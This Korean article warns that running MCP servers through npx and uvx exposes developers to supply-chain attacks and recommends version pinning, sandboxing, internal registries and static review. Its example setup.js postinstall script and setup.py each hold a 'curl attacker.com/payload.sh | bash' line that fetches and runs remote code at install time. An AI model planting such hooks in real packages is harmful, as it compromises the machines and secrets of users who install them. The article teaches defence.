AI 시대에 꼭 알아야 할 보안 위협 (feat. npx/uvx)

프로그래밍 언어 생태계에는 원격 패키지를 즉시 실행할 수 있게 도와주는 도구들이 있습니다. 그중 가장 많이 쓰이는 대표적인 2가지 도구, npx와 uvx에 대해 알아보려고 합니다.

특히, 이를 AI 도구인 클로드 코드(Claude Code)와 결합해 얻을 장점과 사용 시 유의해야 하는 점을 알아보겠습니다.

npx와 uvx는 왜 AI 시대에 주목 받을까?

이 도구들이 주목받는 이유를 알기 위해서는 우선 특징과 성격을 이해하고 넘어갈 필요가 있습니다. 2개의 도구는 원격 패키지를 즉시 실행하도록 설계된 것이 특징이며, 각각 독립적인 생태계를 지원합니다.

이를 요약해서 살펴보면 다음과 같습니다.

클로드 코드에서 npx/uvx의 설치와 실행

우선 npx는 클로드 코드와 같은 인공지능 에이전트 도구를 설치하기 위해 Node.js를 설치하는 과정에서 자연스럽게 함께 설치됩니다. 아래 코드로 간단하게 바로 사용할 수 있습니다.

$ npx --version
10.9.3


$ npx httpie@3.2.2 http --version # 실행 예시

따라서 uvx를 설치하는 부분만 이해해도 괜찮습니다. uvx 설치와 실행을 위한 예시는 아래와 같습니다.

$ curl -LsSf https://astral.sh/uv/install.sh | sh # macOS, 우분투 공통
downloading uv 0.8.17 aarch64-apple-darwin
no checksums to verify
installing to /Users/hj/.local/bin
  uv
  uvx
everything's installed!
$ uvx --version
uvx 0.8.17 (10960bc13 2025-09-10)


$ uvx "httpie==3.2.2" http --version # 실행 예시

npx/uvx와 MCP의 긴밀한 연동

이렇게 간단히 설치·구성할 수 있고 즉시 실행된다는 장점 덕분에, 두 도구는 MCP(Model Context Protocol)와 긴밀하게 연동되고 있습니다.

MCP 서버는 일반적으로 특정 도구와 LLM을 연결해 주는 역할을 합니다. 이런 특성 때문에 작고 독립적인 서버형 패키지가 특히 선호됩니다. 따라서 즉시 실행할 수 있으면서도 작고 독립적인 도구, npx/uvx 같은 형태가 인공지능 MCP 환경에서 자주 활용되는 것입니다.

정리하자면, npx나 uvx를 사용하면 개발자는 저장소를 복제하거나 복잡한 빌드 과정을 거치지 않고, 단 한 줄의 명령으로 MCP 서버를 실행할 수 있습니다.

$ npx @acme/mcp-server

또는  

$ uvx my-mcp-server

이러한 접근 방식은 사용자와 커뮤니티 모두에게 이점을 제공합니다. 첫째, 사용자 입장에서는 복잡한 설정 과정 없이도 바로 MCP 서버를 실행해 볼 수 있습니다. 둘째, 개발 커뮤니티에서도 문서에 장황한 설치 가이드를 작성할 필요 없이, npx 또는 uvx 명령어 한 줄만 안내하면 충분합니다.

npx와 uvx의 보안 위협 

편리한 것은 언제나 보안의 위협을 동반합니다. 예를 들어, 단순한 사용자 아이디/암호 구조는 편리한 반면 2FA(2단계 인증, Two-Factor Authentication)은 번거롭고 불편합니다. 하지만, 보안 측면에서는 2FA가 뛰어납니다.

그러한 의미로 npx와 uvx 역시 보안 측면에서는 위험할 수 있습니다. 이제 각 도구별로 구체적인 위험 요소를 살펴보겠습니다.

npx와 보안 위협

npx는 단 한 줄의 명령으로 바로 실행할 수 있습니다.

$npx cowsay@1.5.0 "Hello, MCP!"

그렇기에 현재 MCP 관련 오픈소스나 샘플 서버 대부분은 npx 실행 예제를 함께 제공합니다. 사용자도 이를 그대로 활용하는 것이 일반적입니다. 사실 공식 페이지에서 제공하는 것이니, 이를 의심하는 쪽이 특이하게 보일 정도입니다.

하지만 이러한 즉시 실행 구조는 동시에 보안상의 큰 약점이 되기도 합니다. 패키지를 내려받아 실행하는 순간, 설치 단계에서 동작하는 스크립트(postinstall, setup.py, build-backend 등)가 임의의 코드를 수행할 수 있기 때문입니다.

또한 버전을 고정하지 않고 최신 버전을 그대로 실행하는 경우, 공격자가 특정 시점에 악성 버전을 배포하더라도 사용자는 이를 알아차리기 어렵습니다. 실제로 최근 이에 따른 사건 사고도 있었습니다.

npm 패키지는 보통 아래와 같이 구조화되어 있습니다. 여기서 package.json은 단순한 정보 파일이 아니라, 설치 과정에서 실행되는 라이프사이클 스크립트를 정의할 수 있습니다.

my-package/
 ├─ package.json   # 메타데이터와 의존성, 스크립트 정의
 ├─ index.js       # 패키지 실행 진입점
 ├─ lib/           # 실제 코드
 └─ scripts/       # 설치/빌드 단계에서 실행될 수 있는 스크립트

package.json에는 대략 다음과 같은 내용이 담깁니다.

{
  "name": "my-package",
  "version": "1.0.0",
  "scripts": {
    "postinstall": "node scripts/setup.js"
  }
}

만약 setup.js에 공격자 코드가 숨어있을 때, 사용자가 npx my-package를 실행하면 자동으로 이런 과정이 진행됩니다.

1. npm이 my-package를 다운로드
2. postinstall 단계에서 scripts/setup.js를 실행
3. 이후에야 index.js가 실행

즉, 사용자가 의도한 프로그램인 index.js를 실행하기 전, 숨겨진 공격자 코드(setup.js)가 먼저 실행될 수 있다는 뜻입니다.

// scripts/setup.js
const { exec } = require("child_process");
exec("curl -s https://attacker.com/payload.sh | bash");

그 외에도 사용자가 문제가 없는 패키지(innocent-looking-package)를 실행하는 순간에도 index.js보다 먼저 공격자 코드(setup.js)가 동작할 수 있습니다.

$npx innocent-looking-package

이처럼 단순한 실행 흐름 때문에 npx는 공급망 공격에 취약해집니다. MCP 서버는 LLM과 직접 연결되므로, 이 서버가 감염되면 모델의 입력/출력, 파일 접근, 비밀 토큰 등까지 모두 노출될 수 있어 위험이 훨씬 더 큽니다.

무엇보다 심각한 점은 이런 위협이 상상이 아닌 현실에서 발생하고 있다는 사실입니다. 현재는 패키지 내 악성 코드 수준이지만, 곧 폭발적으로 늘어날 MCP와 결합하면 그 파급력은 단순한 악성 코드 노출을 넘어설 수 있습니다. 즉, 다양한 형태의 민감한 정보가 직접적으로 노출되는 결과를 불러올 수 있습니다.

uvx와 보안 위협

파이썬 패키지는 여러 가지 형태로 존재합니다. 그중 pyproject.toml 를 활용하는 방식은 비교적 근래에 정착된 방식으로, 기존에는 setup.py 방식이 주로 쓰였습니다.

1. setup.py의 사례

일반적으로 setup.py를 포함하는 파이썬 패키지는 다음과 같은 형태를 가집니다.

my-package/
 ├─ setup.py            # 빌드/설치 단계에서 실행 가능
 ├─ my_package/
 │   ├─ __init__.py     # import 시 실행될 수 있는 코드
 │   └─ __main__.py     # 콘솔 스크립트 진입점에서 import됨
 └─ scripts/            # 임의 스크립트(빌드 중 호출 가능)

uvx로 패키지를 실행하면 가상환경에 패키지를 설치합니다. 이 설치 과정에서 setup.py가 그대로 실행됩니다. 따라서 setup.py에 악성 코드를 심을 수 있습니다. 즉, npx와 동일한 형태의 보안 위험이 존재하는 것입니다.

import os, subprocess
# 빌드 시점에 네트워크 호출/명령 실행 (악성)

subprocess.call("curl -s https://attacker.com/payload.sh | bash", shell=True)
from setuptools import setup
setup(name="my-package", version="0.1.0", packages=["my_pakcage"])

2. pyproject.toml의 사례

그렇다면 pyproject.toml 기반 패키지는 어떤 위험이 있을까요?

PEP 517/518 이후로 파이썬 생태계는 pyproject.toml을 중심으로 패키징할 것을 권장하고 있습니다. 또한, 여기에는 패키지 메타데이터와 함께, setuptools 같은 빌드 백엔드를 지정하도록 되어 있습니다.

my-package/
 ├─ pyproject.toml      # 메타데이터 + 빌드 백엔드 정의
 ├─ my_package/
 │   ├─ __init__.py
 │   └─ __main__.py
 └─ ...

아래는 pyproject.toml의 한 예입니다.

[build-system]
requires = ["setuptools>=61.0"]
build-backend = "setuptools.build_meta"
[project]
name = "my-package"
version = "0.1.0"
dependencies = ["requests"]

그중 [build-system]은 “이 패키지를 설치하려면 어떤 빌드 백엔드가 필요하고, 무엇을 먼저 설치해야 하는가”를 명시합니다. requires는 빌드 과정에서 필요한 패키지 목록을 지정하는데, 여기서는 setuptools가 먼저 설치되어야 함을 의미합니다. 마지막으로, build-backend는 실제 빌드 과정을 실행할 도구를 지정합니다. setuptools.build_meta는 setuptools가 제공하는 빌드 백엔드로, pip는 이 백엔드를 불러서 배포 아카이브를 만듭니다.

이 구조는 겉보기에 안전해 보이지만, 여전히 build-system.requires에 지정된 빌드 백엔드(setuptools, hatch 등)가 동작할 때 임의의 코드를 실행할 가능성이 존재합니다. 예를 들어, setuptools.build_meta는 내부적으로 setup.cfg나 setup.py를 참고할 수 있습니다. 따라서 공격자가 빌드 훅(build.py, setup.cfg의 cmdclass, entry_points 등)에 악성 코드를 심으면 설치 시 실행될 수 있습니다.

이처럼 uvx 역시 npx와 유사한 구조적 위험을 가지고 있습니다.

npx/uvx 보안 위협으로부터 탈출하는 3가지 방법

npx와 uvx는 편리하고 유용하지만, 보다 안전한 사용이 필요합니다. 그렇다면 이러한 위협을 어떻게 줄일 수 있을까요?

1. 항상 버전을 고정해서 실행하기

나쁜 예 

$ npx some-mcp-server # 최신 버전 자동 실행

새 버전을 받았을 때 배포자가 심어 놓은 악성 코드에 그대로 감염될 수 있습니다.

좋은 예

$ npx some-mcp-server@1.2.3

$ uvx "some-mcp-server==1.2.3"

이렇게 버전을 명시하면, 사용자가 원하는 버전만 설치됩니다. 실제로 잘 알려진 npm 패키지 event-stream의 최신 버전에 악성 코드가 섞인 적이 있었는데, 이처럼 특정 버전을 고정해 피해를 막을 수 있었습니다.

2. 샌드박스 환경 활용하기

MCP 서버의 실행 환경이 컨테이너와 같은 샌드박스 환경에서 돌아간다면, 혹시 모를 악의적 코드로부터 방어할 수 있습니다. 또한, 악성코드 오염으로부터 실행 호스트를 격리할 수 있습니다.

3. 자체 레지스트리 활용하기

기업 환경이라면 자체 레지스트리(Registry)를 사용하고, 검증 후 반영하는 방식, 이를테면 외부 npm 변동 → 내부 mirror 같은 절차를 유지하도록 통제할 필요가 있습니다.

# npm 내부 레지스트리 사용 (예: Verdaccio/Nexus)
$ npm config set registry https://npm.mycorp.local

# 특정 스코프만 내부로 라우팅
$ npm config set @acme:registry https://npm.mycorp.local

MCP 서버의 보안을 강화하는 방법들

이렇게 npx와 uvx를 안전하게 사용하더라도, MCP 서버 자체에 보안 취약점이 있다면 결국 보안 사고는 발생할 수 있습니다.

앞으로 MCP 서버는 단순히 로컬 툴을 실행하는 역할을 넘어서, LLM과 직접 연결되는 중추적 인터페이스로 발전할 것입니다. 따라서 MCP 서버의 신뢰성은 곧 모델과 사용자 데이터를 지키는 최소 보장선이 됩니다. 특히 서드파티 MCP 서버를 도입할 때는 다음 사항들을 반드시 고려해야 합니다.

결국 보안은 제로 트러스트(Zero Trust), 즉, 모든 것을 신뢰하지 않고 검증한다는 관점에서 접근할수록 수준을 높일 수 있습니다.

1. 신뢰할 수 있는 MCP 서버 사용 

다양한 목적의 MCP 서버들이 존재하지만, 그중에는 보안적으로 취약한 코드가 포함된 경우도 있습니다. 가능하면 공식으로 제공되는 MCP 서버나 많은 사용자가 검증한 MCP 서버를 사용하는 것이 좋습니다. 그러려면 꾸준히 다양한 커뮤니티에 올라오는 내용을 살펴보는 것이 필수입니다. 또한, 꾸준히 업데이트하지 않는 MCP 서버는 보안적으로 취약할 가능성이 있습니다.

2. MCP 서버에는 (항상) 위험 요소가 있다고 가정

개발자가 선의로 구현했더라도, 구현 과정에서 API 키, 액세스 토큰, 환경변수, 파일 경로 등이 출력값에 섞여 나갈 수 있습니다. 예를 들어, 디버깅 목적으로 넣은 print(os.environ) 같은 코드가 남아 있다면, 그 출력이 그대로 LLM 프롬프트 입력으로 흘러가 벤더(LLM 제공자)에 전달될 수 있습니다.

이처럼 MCP 서버 → 클라이언트(IDE/에이전트) → LLM API로 전송되는 과정에서 출력 결과가 자동으로 프롬프트에 삽입되는 경우가 흔합니다. 구체적으로, 벤더의 워크플로 파이프라인이나 동기화 정책에 따라 민감 정보가 포함되어 실행될 수 있습니다. MCP는 “코드만 실행하는 도구”가 아니라, 실행 과정의 내용이 다음 단계의 프롬프트 입력으로 들어간다는 점에서 구조적 위험을 안고 있기 때문입니다.

따라서 서드파티 MCP 서버를 도입할 때는 단순히 npx/uvx 같은 도구만 이용하기 보다, 아래 사항을 반드시 검증해야 합니다.

• 진행 과정에서 어떤 출력이 다음 단계 입력으로 들어가는가?
• 출력 결과물에 시크릿, 경로, 내부 정보가 섞여 나오지 않는가?
• 로그나 텔레메트리 등에 민감 정보가 포함되지 않는가?

3. 2가지 방법으로 MCP 서버의 보안을 점검하기

이제 MCP 서버를 사용하는 것은 쉬우나, 그만큼 검증이 필요하다는 점을 이해했습니다. MCP 서버 검증은 여러 방식으로 가능하지만, 여기서는 대표적인 두 가지 방법을 설명하려고 합니다.

격리된 샌드박스에서 리허설하기

이 방법은 실패해도 안전한 환경에서 기본 시나리오를 실행합니다. 이때 모든 행위는 캡처합니다. 컨테이너와 같은 가상환경 기반의 샌드박스를 활용하며, 외부로 나가는 네트워크는 기본적으로 차단합니다. 곧이어 Falco, Tetragon/Tracee, osquery, strace, mitm-proxy 등 모니터링 도구로 행위를 관찰합니다. 이들 도구는 프로세스의 행위를 탐지하는 데 유용합니다.

이 방법은 전통적 행위 기반 이상 탐지에 가깝습니다. 확실하고 이해하기 쉬운 장점은 있지만, 실제 수행하려면 환경 설정과 배경지식이 필요해 난이도가 다소 높은 방식입니다. 따라서 좀 더 실용적이며 현대적인 방법을 이어서 설명하겠습니다.

LLM을 통한 정적 분석하기

소스코드와 LLM을 활용해 잠재적인 위험을 빠르게 점검하는 방식입니다. 이를테면 클로드 코드에게 아래 프롬프트를 입력할 수 있습니다.

>  “이 MCP에 대해 보안 및 신뢰성 검토차원에서 아래 항목을 점검 해줘

1. 설치 단계 위험
   - 설치 스크립트(postinstall, setup.py, build-backend 등)에서 임의의 코드 실행, 네트워크 호출, 쉘 스폰 등이 있는지
   - 빌드/설치 과정에서 불필요하게 외부 자원을 내려받는 코드가 있는지
2. 민감정보 노출
   - 환경변수, 파일 경로, 인증 토큰, API Key 등을 그대로 출력하거나 로그에 남기는 부분이 있는지
   - MCP 서버의 응답으로 이런 값이 그대로 LLM 입력으로 흘러갈 가능성이 있는지
3. 네트워크/파일 접근
   - 외부 서버로 데이터를 전송하는 코드가 있는지, 있다면 목적지와 방식이 합리적인지
   - 파일 접근 경로(`/home`, `.ssh`, `.aws`, `/etc` 등)에서 민감정보를 읽어올 수 있는지
4. 권한/실행 제어
   - 시스템 명령 실행(`exec`, `subprocess`, `child_process`)이 있는지
   - 권한 상승이나 보안 설정을 우회할 수 있는 코드가 있는지
5. 출력 포맷/LLM 연동
   - MCP 서버가 출력하는 데이터가 의도적으로 민감정보를 포함하지 않는지
   - 출력 포맷이 표준 MCP 스펙에 맞는지, 불필요한 디버그/로그가 섞이지 않는지
6. 공급망 공격 가능성
   - 의존성 패키지 중 취약점/의심스러운 패키지가 있는지
   - 코드 내에 하드코딩된 URL/리소스가 외부 제3자 도메인을 가리키는지
마지막으로, 전체적으로 이 MCP 서버를 그대로 실행했을 때 
사용자 환경(LLM, 파일시스템, 네트워크, 시크릿)에 위험이 될 수 있는 요소를 요약해줘.”

이 프롬프트로 mcp-server-kubernetes를 점검해보겠습니다.

이처럼 클로드 코드와 같은 AI 에이전트를 사용하면, 격리된 샌드박스를 구성·설정하는 복잡한 과정을 거치지 않고도 지금 설정한 MCP 서버의 상태와 권장 보안 조치를 빠르게 확인하고, 필요한 대응을 취할 수 있습니다. 결국 이런 정적 리뷰는 MCP 서버의 신뢰성을 사전에 검증하는 가장 실용적이고 손쉬운 방법입니다.

참고 자료

• https://medium.com/@scalablecto/actually-go-ahead-and-run-your-mcp-tools-via-npx-uvx-2b3ae49c59a5
• https://www.reddit.com/r/ClaudeAI/comments/1mbavej/mcp_servers_are_scary_unsafe_always_check_whos/
• https://news.hada.io/topic?id=22975
• https://blog.npmjs.org/post/180565383195/details-about-the-event-stream-incident

MCP와 보안에 대해 더 자세히 알아보고 싶은 분은 “한 걸음 앞선 개발자가 지금 꼭 알아야 할 클로드 코드” 책을 보아도 좋습니다. 초급부터 중급까지 알 수 있도록 구성해 보았습니다.

<원문>

npx, uvx는 왜 AI 시대에 필요하며 동시에 위험할까요

작가

조훈(CNCF 앰버서더)

메가존에서 쿠버네티스와 컨테이너 인프라 Tech Evangelist, CoE(Center of Excellence) 역할을 맡고 있다. 클라우드 네이티브 컴퓨팅 재단(CNCF)의 글로벌 앰버서더, ‘IT 인프라 엔지니어 그룹’의 운영진, 오픈소스 컨트리뷰터로도 활동하고 있다. 인프런/유데미에서 앤서블 및 쿠버네티스에 관한 강의를 하고, 『컨테이너 인프라 환경 구축을 위한 쿠버네티스/도커』, 『우아하게 앤서블』, 『시스템/네트워크 관리자를 위한 파이썬 실무 프로그래밍』을 집필하였으며, 요즘IT와 같은 온라인 플랫폼에 글을 기고한다.

정찬훈

2012년부터 소프트웨어 엔지니어로 활동해 왔다. 삼성SDS, 네이버를 거쳐 현재는 센드버드에서 글로벌 스케일의 클라우드 플랫폼과 SRE 업무를 맡아 서비스 인프라를 설계하고 운영하고 있다. 시스템 성능 개선과 가시성 확보에 관심이 많으며, 이를 바탕으로 『BPF를 활용한 리눅스 시스템 트레이싱』을 집필했다. 최근에는 에이전틱 코딩을 통한 소프트웨어 엔지니어링(SWE)의 가능성을 살펴보고 있다.

©️요즘IT의 모든 콘텐츠는 저작권법의 보호를 받는 바, 무단 전재와 복사, 배포 등을 금합니다.